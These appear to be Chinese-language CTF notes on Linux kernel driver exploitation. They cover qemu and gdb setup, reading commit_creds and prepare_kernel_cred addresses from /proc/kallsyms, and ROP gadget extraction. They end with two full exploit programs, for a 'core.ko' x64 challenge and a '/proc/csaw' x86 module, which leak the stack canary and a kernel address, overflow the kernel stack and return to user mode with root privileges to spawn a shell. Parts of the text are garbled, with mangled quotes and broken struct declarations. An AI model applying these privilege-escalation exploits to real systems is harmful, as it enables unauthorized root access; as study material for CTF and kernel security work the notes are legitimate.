驱动漏洞

确定结构大小:写个驱动输出

86 eax edx ecx

64 edi esi edx

起qemu

qemu-system-i386 -kernel bzImage -initrd rootfs.img.gz -append “root=/dev/ram rdinit=/sbin/init”

qemu-system-x86_64 -s-enable-kvm -cpu kvm64,+smep -m 64M

-kernel ./bzImage -initrd ./rootfs.cpio

-append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr”

-smp cores=2,threads=1,sockets=1 -monitor /dev/null -nographic 2>/dev/null

编译

gcc muhe_test_syscall_lib.c -o muhe -static

查提权地址

/ # grep commit_creds /proc/kallsyms

c11b7bc0 T security_commit_creds

c15f8ed0 r __ksymtab_commit_creds

c16024d0 r __kcrctab_commit_creds

c1609215 r __kstrtab_commit_creds

/ # grep prepare_kernel_cred /proc/kallsyms

c1067fc0 T prepare_kernel_cred

c15f8eb0 r __ksymtab_prepare_kernel_cred

c16024c0 r __kcrctab_prepare_kernel_cred

c16091d9 r __kstrtab_prepare_kernel_cred

1 调试注意事项

模块在编译后按照上篇文章的方法,丢进busybox,然后qemu起内核然后调试。

由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。

模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。

2 调试过程

qemu 中设置好gdbserver后,找到模块的.text段的地址grep 0 /sys/module/stack_smashing/sections/.text。

然后gdb里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$gdb vmlinux
....
....
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186 (current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ add-symbol-file ./stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "./stack_smashing/stack_smashing.ko" at
.text_addr = 0xc8830000
Reading symbols from ./stack_smashing/stack_smashing.ko...done.
gdb-peda$ b bug2_write
Breakpoint 1 at 0xc8830000: file /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c, line 7.
gdb-peda$ c
Continuing.

文件解包打包

要向系统中添加文件,就需要解包cpio文件,将文件放到目录中再打包:

123456789101112 `$ file rootfs.cpiorootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix$ mv rootfs.cpio rootfs.cpio.gz$ gunzip rootfs.cpio.gz$ file rootfs.cpio rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)$ cpio -idmv < rootfs.cpio// 解包完成,可以向目录中添加文件$ lsbin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr// 重新打包,不需要压缩也可以$ find . cpio -o –format=newc > ../rootfs.cpio`

$ cat /proc/modules
pci_stub 12623 1 - Live 0x0000000000000000
vboxpci 23237 0 - Live 0x0000000000000000 (O)

无法正确显示加载地址

查了一下,是由于权限的问题。

在/proc/sys/kernel/kptr_restrict的值为1的情况下,加上 sudo 就好了。

还有一种办法是把/proc/sys/kernel/kptr_restrict设置成0即可。

$ sudo cat /proc/modules
pci_stub 12623 1 - Live 0xffffffffa0466000
vboxpci 23237 0 - Live 0xffffffffa04fb000 (O)

注册结构x64

struct file_operations {

struct module *owner;

loff_t(llseek) (struct file , loff_t, int);

ssize_t(read) (struct file , char __user , size_t, loff_t );

ssize_t(aio_read) (struct kiocb , char __user *, size_t, loff_t);

ssize_t(write) (struct file , const char __user , size_t, loff_t );

ssize_t(aio_write) (struct kiocb , const char __user *, size_t, loff_t);

int (readdir) (struct file , void *, filldir_t);

unsigned int (poll) (struct file , struct poll_table_struct *);

int (ioctl) (struct inode , struct file *, unsigned int, unsigned long);//偏移0x48

int (mmap) (struct file , struct vm_area_struct *);

int (open) (struct inode , struct file *);

int (flush) (struct file );

int (release) (struct inode , struct file *);

int (fsync) (struct file , struct dentry *, int datasync);

int (aio_fsync) (struct kiocb , int datasync);

int (fasync) (int, struct file , int);

int (lock) (struct file , int, struct file_lock *);

ssize_t(readv) (struct file , const struct iovec , unsigned long, loff_t );

ssize_t(writev) (struct file , const struct iovec , unsigned long, loff_t );

ssize_t(sendfile) (struct file , loff_t , size_t, read_actor_t, void __user );

ssize_t(sendpage) (struct file , struct page , int, size_t, loff_t , int);

unsigned long (get_unmapped_area) (struct file , unsigned long,

​ unsigned long, unsigned long,

​ unsigned long);

};

ROP操作

目标:用户空间中伪造内核栈,执行内核空间的ROP链,即在用户空间内执行内核rop gadgets提权。

ROP chain(x86_64):

Rop_chain点击并拖拽以移动

4.准备Gadget(用extract-vmlinux提取elf镜像,ROPgadget寻找gadget):

​ 1)sudo file /boot/vmlinuz*

​ 2)sudo ./extract-vmlinux /boot/vmlinuz* > vmlinux

​ 3)ROPgadget.py –binary ./vmlinux > ~/ropgadget.txt

​ 4)grep ‘: pop rdi ; ret’ ropgadget.txt

5.导入有漏洞的内核模块,dmesg查看加载路径:

xor %eax,%eaxcall 0xc1067fc0call 0xc1067e20ret

kvm虚拟化错误解决

这里需要提的一点是很多人都是虚拟机里的Linux安装的qemu,这里有可能会报一个KVM的错误,这里需要开启虚拟机/宿主机的虚拟化功能。

NCSTISC Linux Kernel PWN450 Writeup点击并拖拽以移动

启动后我们可以进入当前系统,如果要调试的话,我们需要在qemu启动脚本里加一条参数-gdb tcp::1234 -S,这样系统启动时会挂起等待gdb连接,进入gdb,通过命令

Target remote localhost:1234

内核提权常用地址获取方法

#define THREAD_SIZE (8192)

注:
(1)THREAD_SIZE(8K)即thread_info结构体的大小
(2)”andl %%esp,%0; “:”=r” (ti) : “0” (~(THREAD_SIZE - 1))
将内核堆栈栈顶ESP指针和(~(THREAD_SIZE - 1)相与:获得的结果为内核堆栈最底端地址(也就是结构体thread_info的地址)

//获取task_struct中cred的结构的地址

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/init.h>

#include <linux/slab.h>

#include <linux/kthread.h>

#include <linux/errno.h>

#include <linux/types.h>
int init_module()
{
printk(“[!]current cred offset:%lx”,((unsigned long)&(current->cred)-(unsigned long)current));
return 0;
}
void cleanup_module()
{
printk(“module cleanup”);

}

//uid偏移地址

#define UID_OFFSET 4

X64 core:

驱动漏洞解压后发现core.ko驱动

img

Ioctl驱动控制函数中,core_read函数读取buf偏移off值的64个字节,第二个功能指定off,所以可以泄露地址,内核栈上cancry(rbp前)和kaslr(rbp后尾数为78的地址为内核地址)可以被破解。

grep commit_creds /proc/kallsyms

qemu中输入上述指令查看函数地址算出相对偏移,破解kaslr canary类似用户态直接记录。

Core_write将用户态数据写入name

Loctl第三个功能将name内容写入栈中造成栈溢出

然后由于没开semp所以可以直接覆盖ret的rip跳入用户态中,执行之前泄露的

commit_creds(prepare_kernel_cred(0));

程序成为root权限

在此之后执行

asm(

“mov $tf,%rsp;”

“swapgs;”

“iretq;”);

将内核栈转换为之前准备好的内存中调用iretq返回用户态的launch_shell执行shell成功转变为root

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <string.h>

#include <stdint.h>

#include <sys/ioctl.h>

struct trap_frame{

​ void *rip;

​ uint64_t cs;

​ uint64_t eflags;

​ void *rsp;

​ uint64_t ss;

}attribute((packed));

struct trap_frame a[20];

struct trap_frame tf;

void launch_shell(void)

{

​ system(“/bin/sh\x00”);

}

void save_stats() {

asm(

“movq %%cs, %0;”

“movq %%ss, %1;”

“pushfq;”

“popq %2;”

:”=r”(tf.cs), “=r”(tf.ss), “=r”(tf.eflags)

:

: “memory”

);

tf.rip = &launch_shell;

​ tf.rsp =(void*)0x602864 ;

}

void prepare_tf(void)

{

return ;

}

#define KERNCALL attribute((regparm(3)))

void (prepare_kernel_cred)(void) KERNCALL = (void) 0xc1067fc0;

void (commit_creds)(void) KERNCALL = (void*) 0xc1067e20;

void payload(void){

​ //payload here

​ commit_creds(prepare_kernel_cred(0));

​ asm(

“mov $tf,%rsp;”

“swapgs;”

“iretq;”);

}

int main(int argc,char *argv[]){

save_stats();

​ int fd = open(“/proc/core”,O_RDWR);

​ if(!fd){

​ printf(“errorn”);

​ exit(1);

​ }

​ char buffer[64] = {0};

ioctl(fd,0x6677889C,32 ) ;

ioctl(fd,0x6677889B,buffer ) ;

​ int i,j;

​ //memset(buffer,0x41,64);s

​ for(i = 0;i<4;i++){

​ for(j = 0;j<16;j++){

​ printf(“%02x “,buffer[i*16+j] & 0xff);

​ }

​ printf(“ | “);

​ for(j = 0;j<16;j++){

​ printf(“%c”,buffer[i*16+j] & 0xff);

​ }

​ printf(“\n”);

​ }

​ char canary[8] = {0};

​ memcpy(canary,buffer+0x20,8);

​ printf(“CANARY:”);

​ for(i = 0;i<8;i++){

​ printf(“%02x”,canary[i] & 0xff);

​ }

printf(“\n”);

ioctl(fd,0x6677889C,0x50 ) ;

ioctl(fd,0x6677889B,buffer ) ;

​ //memset(buffer,0x41,64);s

​ for(i = 0;i<4;i++){

​ for(j = 0;j<16;j++){

​ printf(“%02x “,buffer[i*16+j] & 0xff);

​ }

​ printf(“ | “);

​ for(j = 0;j<16;j++){

​ printf(“%c”,buffer[i*16+j] & 0xff);

​ }

​ printf(“\n”);

​ }

​ char addr[8] = {0};

​ memcpy(addr,buffer+0x10,8);

​ printf(“addr:”);

​ unsigned long long int sum=0;

for( int i = 7;i>=0;i–)

{

​ printf(“%02x”,addr[i] & 0xff);

​ sum = (unsigned long long int)sum*256+(unsigned long long int) (addr[i]);

}

printf(“\n”);

sum=sum+0x0101010100010100;

prepare_kernel_cred= (void*)(sum-0X1409F1);

commit_creds=(void*)(sum-0X140DF1);

printf(“%llx”,sum);

char poc[0x80] = {0};

​ memset(poc,0x41,0x40);

​ memcpy(poc+0x40,canary,8);//set canary

​ *((void**)(poc+0x40+8+8)) = &payload;

​ printf(“[*]payload:%s\n”,poc);

​ write(fd,poc,0x80);

ioctl(fd,1719109786,0xffffffff00000080) ;

return 0;

}

X86 Exploit

\1. 编写的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
void launch_shell(void)
{
execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void)
{
asm("pushl %cs; popl tf+4;"
"pushfl; popl tf+8;"
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &launch_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(int argc,char *argv[]){
int fd = open("/proc/csaw",O_RDWR);
if(!fd){
printf("errorn");
exit(1);
}
lseek(fd,16,SEEK_CUR);
char buffer[64] = {0};
read(fd,buffer,64);
int i,j;
//memset(buffer,0x41,64);
for(i = 0;i<4;i++){
for(j = 0;j<16;j++){
printf("%02x ",buffer[i*16+j] & 0xff);
}
printf(" | ");
for(j = 0;j<16;j++){
printf("%c",buffer[i*16+j] & 0xff);
}
printf("n");
}
char canary[4] = {0};
memcpy(canary,buffer+32,4);
printf("CANARY:");
for(i = 0;i<4;i++){
printf("%02x",canary[i] & 0xff);
}
printf("n");
char poc[84] = {0};
memset(poc,0x41,76);
memcpy(poc+64,canary,4);//set canary
*((void**)(poc+64+4+4)) = &payload;
printf("[*]payload:%sn",poc);
printf("Triger bug:n");
//init tf struct;
prepare_tf();
write(fd,poc,76);
return 0;
}